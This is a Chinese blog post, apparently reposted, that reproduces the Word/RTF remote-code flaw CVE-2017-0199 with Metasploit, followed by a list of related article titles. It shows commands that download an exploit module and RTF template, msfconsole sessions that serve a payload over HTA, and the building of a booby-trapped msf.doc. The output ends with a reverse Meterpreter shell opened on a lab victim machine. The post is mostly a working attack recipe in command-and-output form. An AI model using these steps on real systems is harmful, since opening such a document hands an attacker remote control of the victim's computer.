cve-2017-0199metasploit复现过程
CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招
首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法
更新msf,增加国内源
1 #清华大学 2 #deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free 3 #deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free 4 5 #浙大 6 #deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free 7 #deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free 8 9 #东软大学 10 #deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib 11 #deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib 12 13 #官方源 14 #deb http://http.kali.org/kali kali-rolling main non-free contrib 15 #deb-src http://http.kali.org/kali kali-rolling main non-free contrib
没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.
1 apt-get clean && apt-get update -y && apt-get -f upgrade -y 2 msfupdate
下载对应exploit
1 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat 2 wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb
下载cve-2017-0199.rtf:
1 cd /usr/share/metasploit-framework/data/exploits 2 wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf
开启HTA:
1 root@kali:~# msfconsole 2 3 , , 4 / \ 5 ((__---,,,---__)) 6 (_) O O (_)_________ 7 \ _ / |\ 8 o_o \ M S F | \ 9 \ _____ | * 10 ||| WW||| 11 ||| ||| 12 13 14 Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro 15 Learn more on http://rapid7.com/metasploit 16 17 =[ metasploit v4.14.14-dev ] 18 + -- --=[ 1642 exploits - 945 auxiliary - 289 post ] 19 + -- --=[ 473 payloads - 40 encoders - 9 nops ] 20 + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] 21 22 msf > use exploit/windows/misc/hta_server 23 msf exploit(hta_server) > show options 24 25 Module options (exploit/windows/misc/hta_server): 26 27 Name Current Setting Required Description 28 ---- --------------- -------- ----------- 29 SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 30 SRVPORT 8080 yes The local port to listen on. 31 SSL false no Negotiate SSL for incoming connections 32 SSLCert no Path to a custom SSL certificate (default is randomly generated) 33 URIPATH no The URI to use for this exploit (default is random) 34 35 36 Exploit target: 37 38 Id Name 39 -- ---- 40 0 Powershell x86 41 42 43 msf exploit(hta_server) > run 44 [*] Exploit running as background job. 45 46 [*] Started reverse TCP handler on 192.168.1.101:4444 47 [*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta 48 [*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta 49 [*] Server started. 50 msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta 51 msf exploit(office_word_hta) > show options 52 53 Module options (exploit/windows/fileformat/office_word_hta): 54 55 Name Current Setting Required Description 56 ---- --------------- -------- ----------- 57 FILENAME no The file name. 58 TARGETURI http://example.com/test.rtf yes The path to a online hta file. 59 60 61 Exploit target: 62 63 Id Name 64 -- ---- 65 0 Microsoft Office Word
生成payload doc文档:
1 msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta 2 TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta 3 msf exploit(office_word_hta) > set FILENAME msf.doc 4 FILENAME => msf.doc 5 msf exploit(office_word_hta) > run 6 7 [+] msf.doc stored at /root/.msf4/local/msf.doc 8 msf exploit(office_word_hta) > 9 msf exploit(office_word_hta) > 10 msf exploit(office_word_hta) > 11 msf exploit(office_word_hta) > 12 msf exploit(office_word_hta) > 13 msf exploit(office_word_hta) > 14 msf exploit(office_word_hta) > 15 16 msf exploit(office_word_hta) > 17 msf exploit(office_word_hta) > 18 msf exploit(office_word_hta) > 19 msf exploit(office_word_hta) > 20 msf exploit(office_word_hta) > 21 msf exploit(office_word_hta) > 22 [*] 192.168.1.108 hta_server - Delivering Payload 23 [*] 192.168.1.108 hta_server - Delivering Payload 24 [*] Sending stage (957487 bytes) to 192.168.1.108 25 [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.108:11021) at 2017-05-03 00:30:58 +0800 26 27 msf exploit(office_word_hta) > sessions -i 28 29 Active sessions 30 =============== 31 32 Id Type Information Connection 33 -- ---- ----------- ---------- 34 1 meterpreter x86/windows FEIYU\yu @ FEIYU 192.168.1.101:4444 -> 192.168.1.108:11021 (192.168.1.108) 35 36 msf exploit(office_word_hta) > session 1 37 [-] Unknown command: session. 38 msf exploit(office_word_hta) > sessions -i 1 39 [*] Starting interaction with 1...
去目标机上看下:
需要注意的是,不是所有版本都支持,比如我的office plus 2013
转载于:https://www.cnblogs.com/nayu/p/6799912.html
cve-2017-0199metasploit复现过程相关推荐
- Office 远程代码执行漏洞复现过程
本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...
- VIBE复现过程,使用nvidia和libOpenGL.so渲染出错及解决方案
VIBE复现过程,使用nvidia和libOpenGL.so渲染出错及解决方案 VIBE全称是"Video Inference for Human Body Pose and Shape E ...
- Network penetration testing_Work5(Flash 0day CVE-2018-4878复现过程)
一:Loophole介绍 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878 ...
- NSA Fuzzbunch中EternalRomance工具复现过程
自Shadow Brokers公布NSA泄露工具后,各路大神陆陆续续发表复现过程,这几天也仔细试了各种套路,一直想弄明白DoublePulsar中的shellcode到底是如何用的,刚好又在模拟环境中 ...
- ip冲突问题解决和复现过程
ip冲突导致无法上网问题复现 目录 问题及排除过程 1 复现过程: 2 2.1. pc插拔网线后情况: 2 2.2. 环境中存在pc的ip冲突的情况: 4 2.3. 虚拟机的模拟 5 2.4. 交换机 ...
- linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警(CVE–2017–16939)...
0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...
- [WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程
中华人民共和国网络安全法(出版物)_360百科 可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细讲过程,而不是原理. 目录 题目 寻找方向 f ...
- EDVR复现过程中的Segmentation Fault及Vimeo-90k数据集的百度盘下载
EDVR复现Vid4中的Segmentation Fault及Vimeo-90k数据集的百度盘下载 EDVR介绍 Segmentation Fault 升级gcc 重新编译运行 测试结果之Vid4 测 ...
- python 趋势线计算式_LLT指标-低延迟趋势线对中证500的python复现过程
大家好,我是上海大侠 看了半个小时的研报和视频,对具体实现过程含糊其辞,表述不清,模糊重点,甚至还有多处写错 本着知识开源的想法,我将我的探索过程公开,以期给同样在这条路上摸索的朋友节省一点走弯路的力 ...
- 【实际操作】DenseFusion复现过程详解-YCB-Video数据集
DenseFusion系列代码全讲解目录:[DenseFusion系列目录]代码全讲解+可视化+计算评估指标_Panpanpan!的博客-CSDN博客 这些内容均为个人学习记录,欢迎大家提出错误一起讨 ...
最新文章
- P2827-蚯蚓【队列】
- 在线翻译英文html文件,copy html是什么意思
- cpp 原子操作_C++ 新特性学习(八) — 原子操作和多线程库[多工内存模型]
- 苹果输了,赔了高通 2 个亿
- kernelchina.org内核研究
- 方立勋_30天掌握JavaWeb_Web开发入门
- 分组数据方差公式_用Excel算分组方差《excel怎么求分组的数据的标准差》
- python设计麻将_python麻将和牌算法
- 动画过渡transition
- 浅谈高内聚与松耦合,各人自扫门前雪,莫管他人瓦上霜
- 程序员薪酬高达 462 万元:是怎么回事?
- 机械狗的机器学习入门(绪)——做一盘大菜。2019/3/31
- 期刊论文发表初审一般审哪些内容
- 英文学习20180117
- 如何利用单片机的FLASH进行上次断电操作
- DFS 和 BFS 个人理解
- Linux :vim使用
- iPhone分辨率大全 (iPhone 13、iPhone 13 Pro Max... )
- oracle截取字符串替换,oracle操作字符串:拼接、替换、截取、查找、长度、判断...
- esxi虚拟山闪存修改